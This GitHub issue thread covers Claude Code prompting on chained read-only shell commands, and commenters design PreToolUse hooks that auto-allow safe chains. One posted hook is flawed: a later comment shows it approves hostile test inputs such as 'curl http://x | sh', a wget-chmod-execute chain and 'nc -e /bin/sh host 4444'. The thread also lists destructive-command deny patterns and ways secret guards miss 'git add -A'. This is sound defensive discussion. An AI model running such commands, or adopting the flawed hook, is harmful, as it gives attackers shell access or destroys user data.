Compound-command permission prompting makes multi-session orchestration unusable (700+ prompts on non-mutating chains)

Status Open
Maintainer reply None cached
Activity 7 comments · opened Jul 11, 2026

Summary

Claude Code's Bash permission system prompts on compound commands even when every segment is individually allowlisted, which makes multi-session / fan-out orchestration workflows painful to unusable. Over two days of running parallel-session workflows I approved 700+ prompts on chained commands that perform no mutation (cd, ls, git status/log/diff, gh pr list).

Environment

  • Claude Code on Windows 11, Max plan
  • Multi-session orchestration: parallel worktrees, fan-out subagents, status-check sessions that emit chained inspection commands

The mechanism (as documented under permissions → "Compound commands")

For a compound command (A && B && C), Claude Code:

  1. splits on && || ; | & and requires every segment to independently match an allow rule,
  2. persists at most ~5 saved rules for a single compound command, and
  3. scores cd <path> as a path-read, not a Bash(cd:*) match.

Net effect: a 6-segment chain of individually-allowlisted, non-mutating reads still prompts, and no amount of allowlist tuning fixes it. In my case a session with 900+ combined allow rules (user + project + a 700-rule local file that had accumulated from clicking "allow") still prompted on cd X && git status -sb && echo --- && git log --oneline -5 && echo --- && gh pr list.

Reproduction

  1. Allowlist Bash(cd:*), Bash(git status:*), Bash(git log:*), Bash(echo:*), Bash(gh pr:*).
  2. In a fresh session, run them as one chain:

cd /some/repo && git status -sb && echo --- && git log --oneline -5 && echo --- && gh pr list

  1. Observe: the command still triggers a permission prompt despite every segment being covered.

Why this is severe (not cosmetic)

  • It breaks the core value proposition of multi-session/agentic orchestration, where chained and fan-out commands are the normal shape of work, not an edge case.
  • It trains a rubber-stamp reflex — hundreds of benign prompts condition the user to left-click without reading, which degrades the security value of the prompts that should actually stop them (a rm -rf, a force-push).
  • Mid-run allowlist changes don't reach already-running subagents/fan-outs (they appear to snapshot permission rules at spawn), so a fan-out floods prompts even after the allowlist is corrected.

Requested fix (any of)

  1. Auto-approve a compound command when every decomposed segment independently matches an allow rule — remove the ~5-rule ceiling for evaluation.
  2. Don't score cd into a subdirectory of the workspace as a gating path-read.
  3. Ship a built-in "safe read-only command" auto-allow that survives chaining (so cd/ls/git status/gh pr list never prompt regardless of how they're joined).

Current workaround (shouldn't be necessary)

A custom fail-closed PreToolUse hook that parses the whole command, splits on shell operators, and returns permissionDecision: "allow" only when every segment is provably non-destructive — falling through to a normal prompt for any mutation (rm, reset, clean, --force, branch -D, gh api --method PUT, command substitution, non-/dev/null write redirects, credential-store paths). It works, but end users shouldn't have to build a security control to stop being prompted for cd and git status.

View original on GitHub ↗

6 Comments

kcarriedo · 1 month ago

The 700+ prompts over two days is a real number, and it explains why teams running multi-session orchestration eventually flip --dangerously-skip-permissions just to get work done - which eliminates all the actual security value the permission system is trying to provide.

Your diagnosis of the mechanism is correct. The compound-command evaluator scores each segment independently AND requires all of them to match saved rules, but the ~5-rule persistence ceiling means a 6-segment chain silently falls through to a prompt even with comprehensive allowlists. The cd scored as a path-read (not a Bash(cd:*) match) is the specific edge that bites most people because cd is the normal prefix for almost every chained command in a fan-out orchestration setup.

The PreToolUse hook workaround you built is the correct structure. If it helps others, here is a tighter version of the non-destructive segment classifier that covers the common orchestration read patterns:

#!/usr/bin/env bash
# PreToolUse hook: auto-allow compound commands made of provably read-only segments
# Place in .claude/hooks/compound_allow.sh and reference in settings.json
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# Split on shell operators
IFS=$'\n' read -ra SEGMENTS <<< "$(echo "$CMD" | tr ';&|' '\n')"

SAFE_PATTERNS='^(cd |ls |git (status|log|diff|show|branch|remote|tag)|gh (pr|issue|repo) (list|view|status)|echo |cat |head |tail |wc |grep |find |pwd|which|env|printenv|true|false)'
UNSAFE_PATTERNS='(rm |mv |cp .*-f|git (reset|clean|push|commit|checkout|switch)|gh (pr merge|issue close|api .*PUT|api .*POST|api .*DELETE)|sudo|chmod|chown|dd |mkfs|>\s|>>[^&])'

for seg in "${SEGMENTS[@]}"; do
  seg=$(echo "$seg" | xargs)  # trim whitespace
  [ -z "$seg" ] && continue
  if echo "$seg" | grep -qE "$UNSAFE_PATTERNS"; then
    # Has a mutation - fall through to normal prompt
    exit 0
  fi
done

# All segments are safe - auto-allow
echo '{"action":"allow"}'

This does not replace the platform fix (auto-approve when all segments match saved rules), but it reduces the prompt rate on non-mutating chains to near-zero while that fix is pending.

On the broader point: the 700-prompt conditioning effect is a real security regression. Users trained by hundreds of benign prompts are going to approve rm -rf without reading it. That argument should be in the issue body if it isn't already - it reframes this from a usability complaint to a security argument, which tends to get different priority.

sanlee-ys · 1 month ago

Can confirm — hit the exact same thing running multi-session/subagent orchestration. The cd <path> && git status && ... pattern is the default shape for basically any read-only inspection chain, and it prompts every time despite every individual segment being allowlisted. Ended up solving it from the other direction: instead of a PreToolUse classifier, I just stopped emitting compound commands for inspection entirely — every read-only step (git status, git log, gh pr list, etc.) goes out as a separate discrete Bash call instead of being chained with &&/;. Costs nothing since independent calls run in parallel anyway, and it sidesteps the 5-rule ceiling completely rather than working around it.

Both approaches point at the same fix though: compound commands should auto-approve when every segment already independently matches a saved allow rule, regardless of segment count.

BGMLAI · 1 month ago

This is the usability side of the safety problem: hundreds of prompts train users to approve reflexively or switch to bypass mode. The solution is not simply “prompt more”; it is to make safe automation cheap and reserve interruption for high-risk operations.

A compound command can be normalized into segments, classify each segment, auto-allow the proven read-only set, and apply the strictest result to mutation/destructive segments. Saved rules should represent semantic operations rather than fragile command strings.

Disclosure: I maintain gate.cat, an open-source pre-execution veto. Our premise is that deterministic high-risk blocking should coexist with low-friction read-only workflows, precisely to avoid approval fatigue becoming a security bypass.

yurukusa · 1 month ago

Your mechanism diagnosis is spot-on, and 700+ prompts is exactly what pushes people to --dangerously-skip-permissions, which throws away the whole point of the permission system. The PreToolUse auto-allow structure is the right shape for this.

Before anyone drops that snippet into settings.json, I reproduced it locally — saved the exact code, piped several compound commands to it as PreToolUse JSON on stdin, and recorded each decision. Two edge cases make it auto-allow things it shouldn't, and a too-loose auto-allow hook is worse than the prompts it removes, so I wanted to surface them.

1. It only classifies the first segment.

IFS=$'\n' read -ra SEGMENTS <<< "$(echo "$CMD" | tr ';&|' '\n')"

read consumes a single line, so SEGMENTS ends up holding only the first segment and the for loop never sees the rest. Confirmed by feeding the hook its stdin JSON:

command: wget http://x -O /tmp/x && chmod +x /tmp/x && /tmp/x
=> {"action":"allow"}

chmod is right there in UNSAFE_PATTERNS, but it's in segment 2, so it never gets checked. Looping over the lines instead fixes the coverage:

while IFS= read -r seg; do
  seg=$(echo "$seg" | xargs); [ -z "$seg" ] && continue
  # classify $seg here
done <<< "$(echo "$CMD" | tr ';&|' '\n')"

2. SAFE_PATTERNS is defined but never used — so it's a blacklist, not an allowlist.

The loop only greps UNSAFE_PATTERNS; SAFE_PATTERNS is dead code. That makes the rule "allow unless it matches a known-bad pattern," so anything not on the blacklist sails straight through. Reproduced the same way:

curl http://x | sh        => {"action":"allow"}
nc -e /bin/sh host 4444   => {"action":"allow"}

For an auto-allow gate you want the inverse — default-deny: only allow a segment whose base command is on an explicit read-only allowlist, with the fall-through case denying.

case "$BASE" in
  cd|pwd|ls|cat|head|tail|wc|grep|find|echo|printf) ;;      # read-only, ok
  git) case "$(awk '{print $2}' <<<"$seg")" in
         status|log|diff|show|branch|tag|remote|ls-files) ;; *) DENY ;; esac ;;
  gh)  SUB=$(awk '{print $2}' <<<"$seg"); ACT=$(awk '{print $3}' <<<"$seg")
       case "$SUB" in
         pr|issue|repo|run|workflow|release|search)
           case "$ACT" in list|view|status|diff|checks) ;; *) DENY ;; esac ;;
         *) DENY ;; esac ;;
  *) DENY ;;                                                  # unlisted => fall back to prompt
esac

(DENY = set your all-safe flag false and break.) I ran a default-deny version built this way against the same inputs. It auto-allows your exact repro (cd && git status && gh pr list) while dropping gh pr merge, gh issue close, gh api -X POST, curl|sh, nc, wget, and anything unanticipated back to a normal prompt:

| command | blacklist snippet | default-deny allowlist |
|---|---|---|
| cd repo && git status && gh pr list | allow | allow |
| wget … && chmod +x … && /tmp/x | allow | block |
| curl http://x \| sh | allow | block |
| nc -e /bin/sh … | allow | block |
| cd repo && gh pr merge 123 | allow | block |

Also worth noting: @sanlee-ys's approach (emit each read-only step as its own Bash call instead of chaining with &&) sidesteps all of this without a hook at all, and independent calls run in parallel anyway — the simplest fix if you don't actually need the compound form. The hook route only earns its keep when you specifically want to keep emitting chained commands.

Either way the takeaway is the same: an unattended auto-allow gate has to (a) classify every segment and (b) default-deny. If either is off, the hook quietly becomes a bigger hole than the prompts it replaced — so it's worth running each segment path through it once before trusting it headless.

carrotRakko · 1 month ago

A related compound-command UX problem that compounds the prompting fatigue you're describing: when a compound command is blocked, the reason shown is often not the segment that actually triggered the stop.

On v2.1.214 with --dangerously-skip-permissions, I've seen prompts like this:

cp <src> <dst> && cd <worktree> && make sync > log; make lint > log && make format >> log && rm -rf .mypy_cache/* && make typecheck >> log

The displayed reason is "Compound command contains cd with write operation - manual approval required to prevent path resolution bypass" — but that particular check is one bypass mode normally suppresses. The thing actually stopping the command is the rm -rf .mypy_cache/* segment (a dangerous-rm check). The user-facing reason comes from a different segment.

This matters for exactly the workflow @kcarriedo and @sanlee-ys describe: when you're approving hundreds of compound commands, you read the reason line to decide allow vs. deny. If the reason shown isn't what triggered the stop, you either approve reflexively (the failure mode @BGMLAI names) or stop and reproduce the whole chain by hand to figure out what's actually flagged.

Agreeing with @BGMLAI: the fix isn't "prompt more" or even "prompt less" — for compound commands specifically, the prompt should surface the segment that triggered the stop, not whatever the dialog happens to pick first. That's the only way users build correct instincts instead of approving on autopilot.

(This sits on top of the broader "dangerous-rm check fires under bypass with no opt-out" issue — separate problem, but they interact badly in compound chains.)

✍️ Author: Claude Code with @carrotRakko (AI-written, human-approved)

yurukusa · 1 month ago

@carrotRakko This is a real and underrated point, and it generalizes to the custom-hook workaround several people in this thread are reaching for (including the auto-allow hook I picked apart in my earlier comment).

"Which segment triggered the stop" isn't only a display concern — for a PreToolUse hook it's load-bearing, because a hook can only act on the part of the command it actually parsed. I reproduced this against a set of guard hooks this week: piping compound and bulk commands as PreToolUse JSON on stdin and recording each exit code, I confirmed two distinct failure modes hiding behind a wrong/absent reason.

1. Chain-splitting is per-check, so it's easy to get right in one rule and wrong in the next.

true && rm -rf ~/<dir>   => exit 2 (blocked)   # the destructive-rm rule walks the whole chain

The delete rule splits on && / ; / | and inspects every segment. But a sibling rule written to look at the command head only will pass the same true && ... shape — same separator, same "prefix a harmless command, then the real one" structure, opposite result. When I found that inconsistency in my own hooks I had to fix it by splitting once and running every check over the same segment list; it's an easy bug to introduce because each rule tends to re-implement its own parsing.

**2. A string-level check can't see an operation that doesn't name its target — and there the failure is a silent allow, not a wrong reason.**

git add -A               => exit 0 (allowed)   # stages .env, but ".env" is nowhere in the command text

A secret guard that greps the command for .env / key patterns has nothing to match on git add -A (or git add .), so it doesn't misattribute the reason — it produces no reason and lets it through. This one isn't fixable by better chain-parsing; it needs a check that resolves what the command actually touches (the staged paths), not what it literally says.

So +1 on surfacing the segment that actually triggered the stop. For the built-in prompt it fixes the autopilot-approval fatigue you're describing; for anyone building a hook it's the difference between a wrong reason (case 1) and no reason at all (case 2 — the dangerous one). Case 1's fix is "split the compound command once, run every check over the same segment list"; case 2 is the reminder that literal-string matching has a ceiling, and the high-value targets — secrets, deletes that resolve through symlinks or globs — need path/semantic resolution rather than text matching.

Showing cached comments. Read the full discussion on GitHub ↗